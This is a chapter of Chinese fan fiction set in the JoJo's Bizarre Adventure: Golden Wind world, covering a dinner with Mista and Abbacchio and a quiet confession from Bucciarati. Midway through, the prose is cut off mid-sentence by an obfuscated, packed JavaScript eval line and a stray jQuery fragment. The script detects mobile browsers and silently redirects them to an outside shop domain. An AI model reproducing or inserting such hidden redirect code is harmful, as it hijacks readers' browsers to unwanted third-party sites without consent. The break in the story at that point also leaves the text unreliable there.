米斯达准时在饭点按响了门铃。
当他出现的时候,我和布加拉提都不约而同地避开了视线。
米斯达浑然不觉有什么不对,“大家都看着我干什么——今天吃什么?”。
得知布加拉提要做炖菜后,米斯达神秘兮兮地从背后拿出一个牛皮纸袋。打开袋子,里面是刚买回来的水牛芝士、帕尔马火腿,还有上等的腌制猪颈肉。
“今天不是发了工资嘛,我就去买了点高级食材”他走到厨房,“果然是炖菜,我早就闻到香味了。”
米斯达自然而然地拿过桌上的围裙,进了厨房。
他尝了一下锅里的炖菜,加了点海盐,又拿起一小枝迷迭香,切碎之后加入了锅中,然后开始料理自己带来的配菜。
不,说蹭饭或许并不准确,因为米斯达会对食材进行二次加工,我认为他的厨艺比布加拉略微技高一筹。
布加拉提做饭熟练没错,但更倾向于节约时间的简餐,米斯达就不一样,他爱享乐,喜欢烹饪美食,也乐意花更多时间,在食物的调味上。
他来之后,我的伙食水平直线上升。
等待的途中,我坐在桌旁,取下一块水牛奶酪,一边吃一边和米斯达聊天。
“米斯达,家具都齐全了,等会儿布加拉提就帮你搬过去。对了,我买了美黑床,这下你可以在屋子里美黑了,帮我试试好不好用”
“维奥拉,真是心有灵犀,你怎么知道我最近在美黑?”米斯达随即突然想起什么似的,“等等,听你的意思,你今晚还是不回去住吗?”
他回头看我,眼神有一丝委屈,“维奥拉,家具都到齐了,鬼魂也压根没有出现”
“人都被你带回家了,也不来看看我。”
“......米斯达,你这句话很有歧义”我刚开口,布加拉提就过来了。
“维奥拉最近要帮我处理一些要紧的文件,所以暂时需要待在这边。”
根本没有什么文件,我知道他只是不放心米斯达和我呆在一起。
毕竟不是所有人都和他一样,对我的魅力完全绝缘。
我瞥了一眼布加拉提,他坐在了对面。“米斯达,安排下来了,今天晚些时候,我带你去见波尔波。”
闻言,米斯达搅拌炖汤的动作停了下来。
“就像我之前说的,这并不是一件没有代价的事,如果你没有通过波尔波的考验,就再也不会回来了。所以在你做决定之前,我还是希望你想清楚。”
布加拉提斟酌语句道。
“我当然希望你会来,但如果你选择放弃,我也表示理解,可以替你安排别的去处,比如留在普通的小队里。”
“还说什么,布加拉提”米斯达回过头来,眼睛亮亮的,“除了你这里,我哪里都不去”
米斯达使我想到一件事,曾经自己出演《哈姆雷特》里的奥菲利亚时,对手演员有一句台词:死了,睡着了,仅此而已。
米斯达使我想到这句话。
又是一个无法理解的怪人。
布加拉提点点头“晚些时候,另一个小队成员会来,他的替身能够让我们知道最终考核地点,以及波尔波的下落”
阿帕基也要来?
说道阿帕基,我已经能想象到他玩弄米斯达的场景了。
我觉得,关于这件事,我得事先提醒一下米斯达。
“米斯达啊,阿帕基这个人——”
“谁在说我的坏话。”
此时窗外传来了阿帕基的声音。
好巧不巧,此时他本人刚好来了,单手扛着一个大木头箱子,嘴里还叼着烟。
“今天发工资,我就买了点酒”“早点来看看新人”
“早点来看看新人”阿帕基用力摸了摸我的脑袋,“哦,对了还有比新人更新的新人”
“你们一个个真是”布加拉提无奈道“刚发工资就开始消费了。”
毕竟做的是朝不保夕的职业,来了钱就花,也并不是不能理解的事情,或许因此,布加拉提并没有深究。
炖菜端上桌后,阿帕基并不用餐,只是翘着二郎腿,目光一直在米斯达的脸上,搞得他非常不自在。
“又是一个小鬼”最终,阿帕基发布了他的评论。
“这里可不是给小鬼过家家的地方。”阿帕基说,“到时候挨枪子了,可别哭鼻子找妈妈”
“阿帕基”布加拉提及时出声制止,把阿帕基叫走,让他一起处理带过来的酒。
等阿帕基走了之后,我小声对有点丧气的米斯达说,“别介意,阿帕基就这样
“他之前是个警察,遇到年轻人从事这一行,难免有点看不惯”
“维奥拉,不必担心我”米斯达无所谓地耸耸肩,“比这难听的话,我听过不知道多少了,不会往心里去的。”
看到米斯达轻松的态度,我我犹豫了一下,问出了心中的疑惑,“米斯达,你真的想好了吗?这可是生死攸关的决定。”
我早已偷着告诉了米斯达,考核的内容,以及失败后会面临什么样的场景。
然而米斯达的主意从未变过。
“死亡这种事情,本来就说不准,什么时候会降临,与其担心这个,还不如想想快乐的事情。”米斯达单手支着下巴说道,“我也没什么追求,有钱花,有东西吃就够了,如果等我死的时候,能有些女孩子愿意为我掉眼泪,那就更好了。”
“不过维奥拉,你不是做了和我一样的决定,这才加入小队的吗?”
米斯达不知道,我加入小队完全是个意外。
我表示自己和他不一样,根本没有这样的觉悟。或许,这也是为什么,直到现在,自己也没有觉醒能力的原因。
米斯达拍了拍我的肩膀,“不必担心,能看到就是好事,这种事情本身就因人而异,说不定明天一大早,你的替身咻的一下,忽然就冒出来了”
我想,这种事这根本咻不了一点。
阿帕基刚拿着酒返回了餐桌,就指使米斯达。“喂,新来的,把开瓶器拿过来”
米斯达听话的厨房寻找了。
这时候,阿帕基忽然小声对我说,“维奥拉,帮我把他灌醉,有好处”
“什么好处?”
阿帕基冥思苦想,然后说,“好处嘛,我就不把上次你跟我一起盯梢的事情告诉布加拉提”
不对吧,难道不是阿帕基主动邀请的自己吗?
我微眯着眼睛,阿帕基笑道,“维奥拉,你对gangster的信誉有什么奇怪的期待吗?”
似乎很乐得见到我陷入沉默,阿帕基笑得非常愉悦。
望着阿帕基志得意满的样子,我心想,将来一定要想方设法让阿帕基吃瘪。
灌醉米斯达并不难,他完全没有戒心,在我和阿帕基的轮番攻势下,没过多久,米斯达的脸就变得红红的,眼神也涣散了起来。
眼看时候到了,阿帕基又给我使眼色,让我支走布加拉提。
对不住了米斯达,这就是新人必须经过的考验。
我同情地注视了他片刻,然后同身旁毫不知情的布加拉提说道“布加拉提,能不能跟我出来一下”
“发生什么了吗?”布加拉提欲言又止“感觉你和阿帕基今晚都怪怪的。”
“实际上,有点事情。”我说,“有些话,我想对你单独说”
布加拉提跟我走出家门。
不知道该去哪里,我带布加拉提
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936208|213720||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来到了凶宅的小院里。
最近将小院交给米斯达打理,已经初具规模。
米斯达将杂草清得非常干净,翻新后的土地上,只留有原先主人栽种的蔷薇和月桂,零散而荒芜地开着。
院子里有一些无花果树,藤蔓纵横缠绕,绕上墙壁,又攀上树梢,将视线切割的七零八落。
我和布加拉提随意聊着,猜测米斯达究竟把那双臭袜子晾在哪棵树上。
正在说话的布加拉提,忽然停了。
我抬头看他,却见他已经若无其事地移开了视线。
很快,他便恢复了平日里的语气,仿佛刚才什么都没有发生。
可刚才那个瞬间,还是被我捕捉到了。
“维奥拉,你叫我出来是要说什么?”
布加拉突然问我,但具体理由我还没想好。
“额......提前祝你生日快乐?”
听到我这样说,布加拉提明显松了一口气。
有情况。我敏锐地觉察到了一丝不对劲,刻意凑近说道,“布加拉提,你本来以为我要说什么?”
被我近距离盯着,布加拉提的目光不知该落到哪里,干脆将眼睛闭了起来。
他侧过脸,后退一步。“维奥拉,不要这样”
他这样的反应,让我有点受挫。
“布加拉提,是不是因为我最近惹了点事,你对我有意见。”我垂下眼睫,一副改过自新的样子。
“并不是这样。”
沉默许久,布加拉提终于深吸一口气,“维奥拉,有时候,我也会产生一些多余的想法,抱有一些不切实际的幻想,一直将这样的想法压下去,其实也很不容易。”
即使说着这样的话,布加拉提的语气,还是一如既然地平静。
“但是维奥拉,你不必为此担心,今天之后,我也不会说和做什么让你感到困扰的事情。你没有做错什么,也不需要为我的想法负责。我很清楚,你和我终究不是同一个世界的人。彼此的人生,也许只会在这一段路上短暂地交汇,等你的生活回归正轨,我也会待在自己该在的位置。”
“所以,维奥拉”布加拉提望着我,海水退潮了,蓝色的眼睛只留下一片宁静。
“如果可以的话,还是离我远一点吧,别让我误解你的好意。”
一直以来疑惑得到了解答。
布加拉提对我的好,并非绝对的毫无缘由,而他刻意与我保持距离,并不是真的无动于衷。
他只是抱有和我一样的想法,朝夕相处,彼此之间距离再近,也是隔着一层水光,用手触碰,水面的倒影就会消失。
见我沉思不语,布加拉提说道,“维奥拉,没关系,我从来没有期待过什么,告诉你这些,就是希望你不要感到困扰。”
我沉默并不是因为困扰,而是在思考。
我听过太多赞美,也见过太多热烈的追求。
然而面对一份认真的感情,自己却毫无经验,也不知道究竟应该怎么做。
也许正如米斯达所想,人生本就没有那么长,今天还能坐在一起吃饭,明天却未必还能见面。
如果对方是布加拉提的话,或许自己也可以允许,这样的可能性存在。
“走吧,维奥拉,现在我们回去”布加拉提对我说,他率先拨开了低垂的树枝,我却没有跟上去。
布加拉提侧身望着我,我对他伸出手,“布加拉提,既然都替我开路了,为什么不干脆牵我过去。”
就在我期待布加拉提的反应时,忽然来了一个电话。
布加拉提挂了电话后,神色有些严肃,“维奥拉,今天要加点班了,波尔波那边出了点事,对接人说,忽然联系不到他了”